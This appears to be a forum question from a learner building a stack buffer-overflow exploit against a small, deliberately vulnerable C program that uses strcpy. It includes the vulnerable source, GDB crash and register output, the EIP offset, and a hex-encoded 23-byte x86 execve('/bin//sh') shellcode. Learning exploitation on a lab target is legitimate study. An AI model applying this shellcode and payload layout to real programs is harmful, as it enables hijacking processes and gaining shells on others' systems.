I am trying to get a shellcode, exploiting a C program with a strcpy()
function.
I have found out that I need 68 bytes to start writing on the EIP
. So, if I write 72's by EIP
register is 0x41414141
.
What I want is to insert a 23 bytes shellcode for a x86 OS. So I know that I need this:
- 68 A bytes - 23 shellcode bytes: 45
NOPs
. - 23 bytes Shellcode.
- 4 bytes for the
EIP
register, pointing the start of the shellcode.
I don't know how to carry this out. This is my program:
#include <stdio.h>
#include <string.h>
void cambiarEIP() {
printf("\n Has cambiado el valor del EIP, enhorabuena\n");
}
int main(int argc, char * argv[]) {
char buf[64];
if(argc == 1) {
printf("Uso: %s entrada\n", argv[0]);
return -1;
}
strcpy(buf,argv[1]);
printf("%s\n", buf);
return 0;
}
I want to insert this as a parameter: 45As+shellcode+EIP
DIR.
This is what I get with the GDB when passing 71 bytes as a parameter:
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
And those are my registers:
(gdb) i r
eax 0x0 0
ecx 0xb7fbc4e0 -1208236832
edx 0xb7fbd360 -1208233120
ebx 0xb7fbbff4 -1208238092
esp 0xbffff4a0 0xbffff4a0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x414141 0x414141
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
I know that I need something like this:
./shell \x41\*45 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + Shellcode location
How to carry this out?